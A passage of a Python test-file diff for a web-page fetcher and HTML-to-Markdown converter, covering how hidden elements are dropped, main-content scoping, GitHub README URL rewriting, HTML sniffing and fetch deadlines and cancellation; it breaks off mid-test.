+# ── html_to_markdown: hidden elements ────────────────────────────
+
+
+def test_hidden_attribute_subtree_is_dropped():
+    html = "<body><p>visible</p><div hidden><p>secret error text</p></div><p>after</p></body>"
+    out = html_to_markdown(html)
+    assert "visible" in out
+    assert "after" in out
+    assert "secret error text" not in out
+
+
+def test_aria_hidden_true_subtree_is_dropped():
+    html = '<body><p>keep</p><span aria-hidden="true">decoration</span></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "decoration" not in out
+
+
+def test_aria_hidden_false_subtree_is_kept():
+    html = '<body><span aria-hidden="false">still here</span></body>'
+    assert "still here" in html_to_markdown(html)
+
+
+def test_inline_style_display_none_subtree_is_dropped():
+    # Error/loading blocks are often hidden with inline CSS rather than the
+    # ``hidden`` attribute; browsers do not render them, so they must not leak.
+    html = (
+        "<body><p>visible</p>"
+        '<div style="display:none">secret loading block</div>'
+        "<p>after</p></body>"
+    )
+    out = html_to_markdown(html)
+    assert "visible" in out
+    assert "after" in out
+    assert "secret loading block" not in out
+
+
+def test_inline_style_visibility_hidden_subtree_is_dropped():
+    html = '<body><p>keep</p><span style="visibility:hidden">ghost</span></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "ghost" not in out
+
+
+def test_inline_style_display_none_important_is_dropped():
+    # The !important flag must not defeat the display:none detection.
+    html = '<body><p>keep</p><div style="display:none !important">gone</div></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "gone" not in out
+
+
+def test_inline_style_display_none_among_other_declarations():
+    html = (
+        "<body><p>keep</p>" '<div style="color: red; display : none ; margin:0">gone</div></body>'
+    )
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "gone" not in out
+
+
+def test_inline_style_visible_display_is_kept():
+    # Over-strip guard: display:block / visibility:visible render, and a value or
+    # URL merely containing the substring "none" must not trigger the hidden path.
+    html = (
+        "<body>"
+        '<div style="display:block">block kept</div>'
+        '<div style="visibility:visible">visible kept</div>'
+        '<a style="background:url(none.png)">link kept</a>'
+        "</body>"
+    )
+    out = html_to_markdown(html)
+    assert "block kept" in out
+    assert "visible kept" in out
+    assert "link kept" in out
+
+
+def test_hidden_recovers_from_omitted_close_tags():
+    # <p hidden> is never closed; the parent </div> must still end the hidden region.
+    html = "<body><div><p hidden>gone</div><p>kept</p></body>"
+    out = html_to_markdown(html)
+    assert "gone" not in out
+    assert "kept" in out
+
+
+def test_nested_hidden_regions():
+    html = "<body><div hidden><div hidden>inner</div>outer</div><p>ok</p></body>"
+    out = html_to_markdown(html)
+    assert "inner" not in out
+    assert "outer" not in out
+    assert "ok" in out
+
+
+def test_hidden_false_is_still_hidden():
+    # ``hidden`` is enumerated: the spec maps invalid/empty values to the Hidden
+    # state, so hidden="false" is NOT rendered and must not reach the Markdown.
+    html = '<body><p>keep</p><div hidden="false">not rendered</div></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "not rendered" not in out
+
+
+def test_hidden_paragraph_omitted_close_does_not_swallow_siblings():
+    # HTML5 optional end tags: a sibling <p> start tag implicitly closes an open
+    # <p hidden>, so the hidden region ends there instead of swallowing siblings.
+    html = (
+        "<body><div><p hidden>secret"
+        "<p>visible one</p><p>visible two</p></div><p>after</p></body>"
+    )
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "visible one" in out
+    assert "visible two" in out
+    assert "after" in out
+
+
+def test_hidden_list_item_omitted_close_keeps_following_items():
+    # <li hidden> without </li> is implicitly closed by the next <li>.
+    html = "<body><ul><li hidden>secret<li>shown A</li><li>shown B</li></ul></body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "shown A" in out
+    assert "shown B" in out
+
+
+def test_hr_implicitly_closes_hidden_paragraph():
+    # Void elements also imply closes: <hr> ends an open <p hidden>.
+    html = "<body><p hidden>secret<hr>kept text</body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "kept text" in out
+
+
+def test_skipped_tag_implicitly_closes_hidden_paragraph():
+    # A skipped block (<nav>/<footer>) also closes an open <p>. The optional-close
+    # bookkeeping must run before the skip, or the never-closed <p hidden> keeps its
+    # hidden mark and swallows every following sibling.
+    for skipped in ("nav", "footer"):
+        html = f"<body><p hidden>secret<{skipped}>chrome</{skipped}>VISIBLE</body>"
+        out = html_to_markdown(html)
+        assert "secret" not in out
+        assert "chrome" not in out
+        assert "VISIBLE" in out
+
+
+def test_hidden_void_element_is_suppressed():
+    # A hidden void element (<hr>/<br>) never joins the open-element stack, so it
+    # must be suppressed inline rather than emitting its markup.
+    html = '<body><p>before</p><hr aria-hidden="true"><p>after</p></body>'
+    out = html_to_markdown(html)
+    assert "before" in out
+    assert "after" in out
+    assert "---" not in out
+
+
+def test_hidden_void_br_emits_no_break():
+    html = "<body><p>one<br hidden>two</p></body>"
+    out = html_to_markdown(html)
+    assert "one" in out
+    assert "two" in out
+    # The hidden <br> must not inject a newline between the two runs.
+    assert "one\ntwo" not in out
+
+
+def test_visible_void_hr_still_renders():
+    # Guard: the suppression must not affect non-hidden void elements.
+    html = "<body><p>a</p><hr><p>b</p></body>"
+    out = html_to_markdown(html)
+    assert "---" in out
+
+
+# ── html_to_markdown: main-content scoping ───────────────────────
+
+
+def test_github_page_main_content_keeps_readme_only():
+    out = html_to_markdown(_GITHUB_PAGE, main_content = True)
+    # README content survives.
+    assert "Unsloth Studio" in out
+    assert "install.sh" in out
+    assert "documentation" in out
+    # Client-side error placeholders and page furniture are gone.
+    assert "Uh oh!" not in out
+    assert "There was an error while loading" not in out
+    assert "Please reload this page" not in out
+    assert "You can't perform that action at this time" not in out
+    assert "Skip to content" not in out
+    assert "Sign in" not in out
+    assert "Reload to refresh your session" not in out
+    assert "JavaScript 89.3%" not in out
+    assert "Languages" not in out
+    assert "Last commit message" not in out
+
+
+def test_main_scope_used_when_no_article():
+    html = """
+    <body>
+      <header><a href="/login">Sign in</a></header>
+      <main><h1>Doc title</h1><p>%s</p></main>
+      <footer>footer junk</footer>
+    </body>
+    """ % ("Body text. " * 40)
+    out = html_to_markdown(html, main_content = True)
+    assert "Doc title" in out
+    assert "Body text." in out
+    assert "Sign in" not in out
+    assert "footer junk" not in out
+
+
+def test_main_content_falls_back_to_full_document():
+    # No article/main and a tiny body: the unscoped conversion is returned.
+    html = "<body><h1>Tiny</h1><p>Just a short page.</p></body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Tiny" in out
+    assert "Just a short page." in out
+
+
+def test_tiny_article_stub_does_not_hijack_scope():
+    # An <article> with negligible text must not swallow the real content.
+    body_text = "Real content paragraph. " * 30
+    html = f"<body><article>ad</article><main><p>{body_text}</p></main></body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Real content paragraph." in out
+
+
+def test_sibling_articles_do_not_leak_after_main_selected():
+    # The size gate picks the largest single <article> and renders only that
+    # subtree: sibling articles (related-post cards, comment threads) must not leak
+    # in just because the real article cleared the threshold.
+    real = "Main article body content for selection. " * 20
+    card = "Unrelated related-post card teaser blurb. " * 3
+    cards = "".join(f"<article><p>{card}</p></article>" for _ in range(5))
+    html = f"<body><article><h1>Real</h1><p>{real}</p></article>{cards}</body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Main article body content" in out
+    assert "Unrelated related-post" not in out
+
+
+def test_default_conversion_unscoped_and_unstripped():
+    # Without main_content the whole document converts (backwards compatible),
+    # boilerplate included; only hidden subtrees are dropped.
+    html = "<body><p>Skip to content</p><div hidden>gone</div><main><p>hello</p></main></body>"
+    out = html_to_markdown(html)
+    assert "Skip to content" in out
+    assert "hello" in out
+    assert "gone" not in out
+
+
+def test_boilerplate_filter_preserves_phrase_inside_real_prose():
+    # The furniture filter once matched by substring, deleting a real sentence that
+    # merely CONTAINS a fragment ("we use cookies"). It must drop only lines COMPOSED
+    # of furniture, keeping real prose that quotes one.
+    body = (
+        "<article><h1>Authentication</h1>"
+        "<p>We use cookies to authenticate API requests and keep sessions safe.</p>"
+        "<p>%s</p></article>"
+    ) % ("Additional documentation content to select the article. " * 8)
+    out = html_to_markdown(f"<body>{body}</body>", main_content = True)
+    assert "We use cookies to authenticate API requests" in out
+
+
+def test_boilerplate_filter_still_drops_standalone_and_stacked_furniture():
+    # A line that is purely furniture is dropped, as is one stacking several
+    # furniture phrases (as GitHub renders them).
+    body = (
+        "<article>"
+        "<p>Skip to content</p>"
+        "<p>You signed in with another tab or window. Reload to refresh your session.</p>"
+        "<p>Real README body. %s</p>"
+        "</article>"
+    ) % ("Genuine documentation text. " * 8)
+    out = html_to_markdown(f"<body>{body}</body>", main_content = True)
+    assert "Real README body." in out
+    assert "Skip to content" not in out
+    assert "Reload to refresh your session" not in out
+
+
+def test_boilerplate_not_stripped_inside_code_fences():
+    html = (
+        "<body><article><p>%s</p>"
+        "<pre>assert 'There was an error while loading' in page</pre>"
+        "</article></body>" % ("Prose. " * 40)
+    )
+    out = html_to_markdown(html, main_content = True)
+    assert "There was an error while loading" in out
+
+
+def test_aside_callout_inside_article_is_kept():
+    # Docs render notes/warnings as <aside> callouts. An aside inside the selected
+    # article/main scope is real content and must survive; dropping it unconditionally
+    # loses page text.
+    body = (
+        "<article><h1>Guide</h1>"
+        "<p>%s</p>"
+        "<aside class='admonition warning'><strong>Warning:</strong> "
+        "This operation is destructive and cannot be undone.</aside>"
+        "<p>Trailing paragraph.</p></article>"
+    ) % ("Documentation body text to select the article scope. " * 6)
+    out = html_to_markdown(f"<body>{body}</body>", main_content = True)
+    assert "This operation is destructive and cannot be undone." in out
+    assert "Warning:" in out
+    # Also kept in the unscoped (backwards-compatible) conversion.
+    out_full = html_to_markdown(f"<body>{body}</body>")
+    assert "This operation is destructive and cannot be undone." in out_full
+
+
+# ── GitHub README rewrite ────────────────────────────────────────
+
+
+def test_github_repo_url_maps_to_readme_api():
+    assert (
+        _github_repo_readme_api_url("https://github.com/unslothai/unsloth")
+        == "https://api.github.com/repos/unslothai/unsloth/readme"
+    )
+    assert (
+        _github_repo_readme_api_url("https://github.com/unslothai/unsloth/")
+        == "https://api.github.com/repos/unslothai/unsloth/readme"
+    )
+    assert (
+        _github_repo_readme_api_url("http://www.github.com/owner/repo.git")
+        == "https://api.github.com/repos/owner/repo/readme"
+    )
+
+
+def test_github_non_repo_urls_are_not_rewritten():
+    for url in (
+        "https://github.com/unslothai/unsloth/tree/main/studio",
+        "https://github.com/unslothai/unsloth/issues/123",
+        "https://github.com/topics/llm",
+        "https://github.com/orgs/unslothai/repositories",
+        "https://github.com/login/oauth",
+        "https://github.com/unslothai",
+        "https://example.com/owner/repo",
+        "https://raw.githubusercontent.com/owner/repo/main/README.md",
+    ):
+        assert _github_repo_readme_api_url(url) is None, url
+
+
+def test_fetch_page_text_prefers_github_readme(monkeypatch):
+    calls = []
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        calls.append((url, extra_headers))
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, "# Unsloth\n\nFine-tune LLMs faster.", "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "Fine-tune LLMs faster." in out
+    assert "README of https://github.com/unslothai/unsloth" in out
+    assert len(calls) == 1
+    assert calls[0][1]["Accept"] == "application/vnd.github.raw+json"
+
+
+def test_fetch_page_text_keeps_html_readme_from_api(monkeypatch):
+    # A repo whose README is HTML returns HTML from the README API with a 200. That
+    # success is authoritative: convert to Markdown and keep it, never discard it in
+    # favour of the repo root page's UI chrome.
+    html_readme = (
+        "<!doctype html><html><body>"
+        "<h1>Project Title</h1>"
+        "<p>Install with the one-line script and read the docs.</p>"
+        "</body></html>"
+    )
+    calls = []
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        calls.append(url)
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, html_readme, "text/html"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    # The successful README is converted and returned; no fallback fetch fires.
+    assert "README of https://github.com/unslothai/unsloth" in out
+    assert "Project Title" in out
+    assert "Install with the one-line script" in out
+    assert "<html" not in out
+    assert len(calls) == 1
+
+
+def test_fetch_page_text_falls_back_to_html_when_readme_api_fails(monkeypatch):
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        if url.startswith("https://api.github.com/"):
+            return "Failed to fetch URL: HTTP 403 rate limited", "", ""
+        return None, _GITHUB_PAGE, "text/html"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    # Fallback converts the HTML page with the main-content heuristic.
+    assert "Unsloth Studio" in out
+    assert "Uh oh!" not in out
+    assert "There was an error while loading" not in out
+
+
+def test_fetch_page_text_non_html_returned_raw(monkeypatch):
+    raw = "line one\n    indented code\nline three"
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, raw, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://raw.githubusercontent.com/o/r/main/file.txt")
+    # Whitespace preserved: the HTML renderer would have collapsed it.
+    assert "    indented code" in out
+
+
+def test_fetch_page_text_html_conversion(monkeypatch):
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, _GITHUB_PAGE, "text/html"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth/tree/main")
+    assert "Unsloth Studio" in out
+    assert "Uh oh!" not in out
+
+
+def test_fetch_page_text_propagates_fetch_errors(monkeypatch):
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return "Failed to fetch URL: HTTP 404 Not Found", "", ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    assert _fetch_page_text("https://example.com/missing") == (
+        "Failed to fetch URL: HTTP 404 Not Found"
+    )
+
+
+def test_looks_like_html():
+    assert _looks_like_html("<!DOCTYPE html><html></html>")
+    assert _looks_like_html("\n  <HTML lang='en'>")
+    assert not _looks_like_html("# Markdown README\n\n<h1>embedded html later</h1>")
+    assert not _looks_like_html("plain text")
+
+
+def test_looks_like_html_markdown_with_leading_fenced_example_stays_markdown():
+    # A Markdown README OPENING with a fenced HTML example must not be sniffed as
+    # HTML just because a doctype/tag appears in the first 256 chars; html_to_markdown
+    # would corrupt the fences and prose.
+    fenced = (
+        "```html\n<!DOCTYPE html>\n<html><body><div>hi</div></body></html>\n```\n\n# Real README\n"
+    )
+    assert not _looks_like_html(fenced)
+    # Prose that mentions a tag inline, and a centered-logo README that opens
+    # with <p align>/<div align>/<h1 align>, also stay Markdown.
+    assert not _looks_like_html("Use the <html> element to start a page.")
+    assert not _looks_like_html('<p align="center"><img src="logo.png"></p>\n\n# Project\n')
+    assert not _looks_like_html('<div align="center">\n\n# Project\n\n</div>\n')
+    assert not _looks_like_html('<h1 align="center">Project</h1>\n\nMarkdown body.\n')
+    # An autolink is not a tag opener.
+    assert not _looks_like_html("<https://example.com> is the homepage")
+
+
+def test_looks_like_html_detects_bare_fragments():
+    # A body that is a bare HTML fragment (no <html>/doctype) must still be
+    # recognized so it is converted to Markdown.
+    assert _looks_like_html("<body><p>hello</p></body>")
+    assert _looks_like_html("\n<article><h1>Title</h1><p>Body</p></article>")
+    assert _looks_like_html("<section>content</section>")
+
+
+def test_looks_like_html_leading_table_stays_markdown():
+    # Markdown READMEs routinely open with a raw HTML <table> badge row or logo
+    # layout, then continue in Markdown. Sniffing that as HTML would collapse the
+    # Markdown body, so a leading <table> (and its row/cell children) must stay
+    # Markdown, like the excluded <div align>/<p align> layout headers.
+    assert not _looks_like_html("<table><tr><td>cell</td></tr></table>")
+    assert not _looks_like_html(
+        '<table align="center"><tr><td><img src="logo.png"></td></tr></table>\n\n# Project\n'
+    )
+    assert not _looks_like_html("<tr><td>cell</td></tr>")
+
+
+def test_fetch_page_text_keeps_markdown_readme_with_html_example(monkeypatch):
+    # A Markdown README opening with a fenced HTML snippet must be served verbatim,
+    # never run through html_to_markdown (which would drop the fences/tags).
+    md_readme = (
+        "```html\n"
+        "<!DOCTYPE html>\n"
+        "<html><body><h1>Demo</h1></body></html>\n"
+        "```\n\n"
+        "# My Project\n\nInstall and run.\n"
+    )
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, md_readme, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "README of https://github.com/unslothai/unsloth" in out
+    # Markdown preserved verbatim: the fence and literal tags survive.
+    assert "```html" in out
+    assert "<!DOCTYPE html>" in out
+    assert "# My Project" in out
+
+
+def test_fetch_page_text_keeps_markdown_readme_with_leading_table(monkeypatch):
+    # A README opening with a raw HTML <table> badge/layout row then continuing in
+    # Markdown must be served verbatim, never run through html_to_markdown (which
+    # would collapse the list/fence/heading body onto one line).
+    md_readme = (
+        '<table align="center">\n'
+        '<tr><td><img src="logo.png"></td><td>Badges</td></tr>\n'
+        "</table>\n\n"
+        "# My Project\n\n"
+        "- feature one\n"
+        "- feature two\n\n"
+        "```python\nprint('hi')\n```\n"
+    )
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, md_readme, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "README of https://github.com/unslothai/unsloth" in out
+    # Markdown body verbatim: list, fence and heading survive on their own lines.
+    assert "- feature one\n- feature two" in out
+    assert "```python" in out
+    assert "# My Project" in out
+
+
+def test_fetch_url_raw_missing_content_type_reported_empty(monkeypatch):
+    # Message.get_content_type() falls back to the RFC 2045 "text/plain" default
+    # when the header is absent; _fetch_url_raw must report "" instead so the HTML
+    # sniffing fallback can fire.
+    import email
+    import urllib.request
+
+    class _FakeResp:
+        headers = email.message_from_string("")
+
+        def __init__(self):
+            self._body = b"<html><body>hello</body></html>"
+
+        def read(self, n = -1):
+            # Hand back the body once, then EOF, so the chunked reader terminates.
+            body, self._body = self._body, b""
+            return body
+
+    class _FakeOpener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            return _FakeResp()
+
+    monkeypatch.setattr(
+        "core.inference.tools._validate_and_resolve_host",
+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _FakeOpener())
+    err, body, content_type = _fetch_url_raw("https://example.com/")
+    assert err is None
+    assert "hello" in body
+    assert content_type == ""
+
+
+def test_fetch_page_text_missing_content_type_html_sniffed(monkeypatch):
+    # A header-less server returning an HTML body must still be converted.
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, _GITHUB_PAGE, ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/no-content-type")
+    assert "Unsloth Studio" in out
+    assert "<html" not in out
+    assert "Uh oh!" not in out
+
+
+def test_fetch_page_text_missing_content_type_fragment_converted(monkeypatch):
+    # A header-less server returning a bare HTML fragment (no <html>/doctype) must
+    # still be sniffed as HTML and converted, not served as raw markup.
+    fragment = "<article><h1>Doc Title</h1><p>Readable fragment body.</p></article>"
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, fragment, ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/fragment")
+    assert "Doc Title" in out
+    assert "Readable fragment body." in out
+    assert "<article" not in out
+
+
+def test_fetch_page_text_missing_content_type_plain_text_raw(monkeypatch):
+    # A header-less server returning plain text stays raw (whitespace kept).
+    raw = "line one\n    indented code\nline three"
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, raw, ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/no-content-type.txt")
+    assert "    indented code" in out
+
+
+def test_fetch_page_text_mislabeled_text_plain_html_converted(monkeypatch):
+    # An explicit text/plain header on an HTML body is sniffed and converted, like
+    # the pre-extraction behavior of always converting HTML pages.
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, _GITHUB_PAGE, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/mislabeled")
+    assert "Unsloth Studio" in out
+    assert "<html" not in out
+
+
+# ── implicit-close past unclosed inline descendants (finding 14) ──
+
+
+def test_hidden_paragraph_with_inline_child_implicitly_closed_by_block():
+    # A browser closes an open <p> when a <div> arrives, even with an unclosed
+    # <span> on top of it. The hidden region must end there, not swallow the
+    # following visible blocks.
+    html = "<body><p hidden><span>secret<div>visible div</div><p>visible paragraph</body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "visible div" in out
+    assert "visible paragraph" in out
+
+
+def test_hidden_list_item_with_inline_child_closed_by_next_item():
+    html = "<body><ul><li hidden><span>secret<li>visible item</ul><p>after</p></body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "visible item" in out
+    assert "after" in out
+
+
+# ── nested hidden list/table contents must stay suppressed ──
+
+
+def test_nested_hidden_list_does_not_leak_child_items():
+    # The nested <ul> re-scopes the item, so the inner <li> is a DESCENDANT of the
+    # hidden outer <li>, not an optional-close sibling. Optional-end-tag recovery
+    # must not cross the intervening <ul>, or the outer li's hidden mark is popped
+    # and the nested text leaks.
+    html = (
+        "<body><ul>"
+        "<li hidden>parent<ul><li>secret child</li></ul></li>"
+        "<li>visible sibling</li>"
+        "</ul></body>"
+    )
+    out = html_to_markdown(html)
+    assert "parent" not in out
+    assert "secret child" not in out
+    assert "visible sibling" in out
+
+
+def test_nested_hidden_list_with_omitted_closes_stays_suppressed():
+    # Same leak, doubly nested with omitted </li>/</ul>. Every hidden descendant
+    # stays gone; the following visible sibling (which implicitly closes the hidden
+    # outer <li>) still renders.
+    html = (
+        "<body><ul>"
+        "<li hidden>parent<ul><li>secret child<ul><li>deeper secret</ul></li></ul>"
+        "<li>visible sibling"
+        "</ul></body>"
+    )
+    out = html_to_markdown(html)
+    assert "parent" not in out
+    assert "secret child" not in out
+    assert "deeper secret" not in out
+    assert "visible sibling" in out
+
+
+def test_nested_hidden_table_does_not_leak_inner_cells():
+    # A nested <table> re-scopes <tr>/<td>: an inner <td> must not be an
+    # optional-close sibling of a hidden outer <td> across the nested table.
+    html = (
+        "<body><table><tr>"
+        "<td hidden>outer<table><tr><td>secret cell</td></tr></table></td>"
+        "<td>visible cell</td>"
+        "</tr></table></body>"
+    )
+    out = html_to_markdown(html)
+    assert "secret cell" not in out
+    assert "visible cell" in out
+
+
+# ── aggregate tiny <article> cards must not displace <main> (finding 15) ──
+
+
+def test_many_tiny_articles_do_not_displace_substantial_main():
+    cards = "".join(
+        f"<article><h2>Teaser {i}</h2><p>Advertisement card blurb.</p></article>" for i in range(12)
+    )
+    main_body = "Authoritative main documentation content. " * 30
+    html = f"<body>{cards}<main><h1>Real page</h1><p>{main_body}</p></main></body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Authoritative main documentation content." in out
+    assert "Advertisement card blurb." not in out
+
+
+def test_single_substantial_article_still_preferred_over_main():
+    # GitHub-README case: one substantial <article> inside <main> must still win
+    # over sibling <main> furniture.
+    article_body = "Real README documentation body text. " * 20
+    html = (
+        "<body><main>"
+        f"<article><h1>Guide</h1><p>{article_body}</p></article>"
+        "<div><h2>Languages</h2><p>JavaScript 89.3%</p></div>"
+        "</main></body>"
+    )
+    out = html_to_markdown(html, main_content = True)
+    assert "Real README documentation body text." in out
+    assert "JavaScript 89.3%" not in out
+
+
+# ── truncated (unclosed) main-content scopes must still be scored ──
+
+
+def test_truncated_open_article_scope_is_scored_and_preferred():
+    # _fetch_url_raw caps large pages, so the download can end before the closing
+    # </article>. The scope is still the main content and must be preferred over the
+    # whole document (which re-leaks the page chrome).
+    chrome = "<nav>Skip to content</nav><div>Repository file tree and page chrome.</div>"
+    article_body = "Real README documentation body text. " * 20
+    # No closing </article> / </body> -- the fetch cap truncated the page.
+    html = f"<body>{chrome}<article><h1>Guide</h1><p>{article_body}</p>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Real README documentation body text." in out
+    assert "Repository file tree and page chrome." not in out
+
+
+def test_truncated_open_main_scope_is_scored_and_preferred():
+    chrome = "<nav>Skip to content</nav><div>Repository file tree and page chrome.</div>"
+    main_body = "Authoritative main documentation content. " * 30
+    html = f"<body>{chrome}<main><h1>Doc</h1><p>{main_body}</p>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Authoritative main documentation content." in out
+    assert "Repository file tree and page chrome." not in out
+
+
+# ── overall fetch deadline + cancellation (no per-hop timeout blowup) ──
+
+
+def test_fetch_url_raw_overall_deadline_aborts_across_redirects(monkeypatch):
+    # Each hop advances a fake clock by 5s; an 8s overall budget is exhausted on the
+    # third hop even though every hop stays within its own socket timeout. Without
+    # the deadline this would redirect until the 5-hop cap, so the "timed out" error
+    # proves the overall budget aborted it, not the hop cap.
+    import urllib.request
+    from urllib.error import HTTPError
+
+    import core.inference.tools as tools_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(tools_mod.time, "monotonic", lambda: clock["t"])
+
+    hops = {"n": 0}
+
+    class _RedirectingOpener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            clock["t"] += 5.0
+            hops["n"] += 1
+            raise HTTPError(
+                req.full_url,
+                302,
+                "Found",
+                {"Location": "https://example.com/next"},
+                None,
+            )
+
+    monkeypatch.setattr(
+        tools_mod,
+        "_validate_and_resolve_host",
+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _RedirectingOpener())
+
+    err, body, content_type = tools_mod._fetch_url_raw(
+        "https://example.com/start",
+        timeout = 30,
+        deadline = clock["t"] + 8.0,
+    )
+    assert err == "Failed to fetch URL: timed out."
+    assert body == ""
+    assert hops["n"] < 5
+
+
+def test_fetch_url_raw_cancel_event_aborts_before_network(monkeypatch):
+    # A set cancel_event (client disconnected) stops the fetch before it opens any
+    # socket, so a dropped stream cannot leave a tool blocking on the wire.
+    import threading
+    import urllib.request
+
+    import core.inference.tools as tools_mod
+
+    ev = threading.Event()
+    ev.set()
+    opened = {"n": 0}
+
+    class _Opener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            opened["n"] += 1
+            raise AssertionError("network must not be touched after cancel")
+
+    monkeypatch.setattr(
+        tools_mod,
+        "_validate_and_resolve_host",
+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _Opener())
+
+    err, body, content_type = tools_mod._fetch_url_raw(
+        "https://example.com/",
+        cancel_event = ev,
+    )
+    assert err == "Failed to fetch URL: cancelled."
+    assert opened["n"] == 0
+
+
+def test_fetch_page_text_shares_one_deadline_across_readme_and_fallback(monkeypatch):
+    # The README API attempt and its HTML fallback must draw from ONE budget: a
+    # failed API call cannot hand the fallback a fresh full timeout.
+    seen_deadlines = []
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        seen_deadlines.append(deadline)
+        # Fail the README API so the HTML fallback also runs.
+        return "Failed to fetch URL: HTTP 429 rate limited", "", ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth", timeout = 30)
+    assert out == "Failed to fetch URL: HTTP 429 rate limited"
+    # Both attempts ran and shared the same, single deadline value.
+    assert len(seen_deadlines) == 2
+    assert seen_deadlines[0] is not None
+    assert seen_deadlines[0] == seen_deadlines[1]
+
+
+# -- overall deadline reaches the body read, the resolver, and the query path --
+
+
+def test_fetch_url_raw_deadline_aborts_slow_body(monkeypatch):
+    # A server dribbling the body must not stretch the read past the overall
+    # deadline: the body is read in chunks with the budget re-checked between them,
+    # so a single slow resp.read cannot outlast the fetch budget.
+    import email
+    import urllib.request
+
+    import core.inference.tools as tools_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(tools_mod.time, "monotonic", lambda: clock["t"])
+
+    class _DrippingResp:
+        headers = email.message_from_string("")
+
+        def read(self, n = -1):
+            # One chunk, then jump the clock past the deadline so the next
+            # between-chunk budget check aborts instead of reading forever.
+            clock["t"] += 10.0
+            return b"x" * 16
+
+        def close(self):
+            pass
+
+    class _Opener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            return _DrippingResp()
+
+    monkeypatch.setattr(
+        tools_mod,
+        "_validate_and_resolve_host",
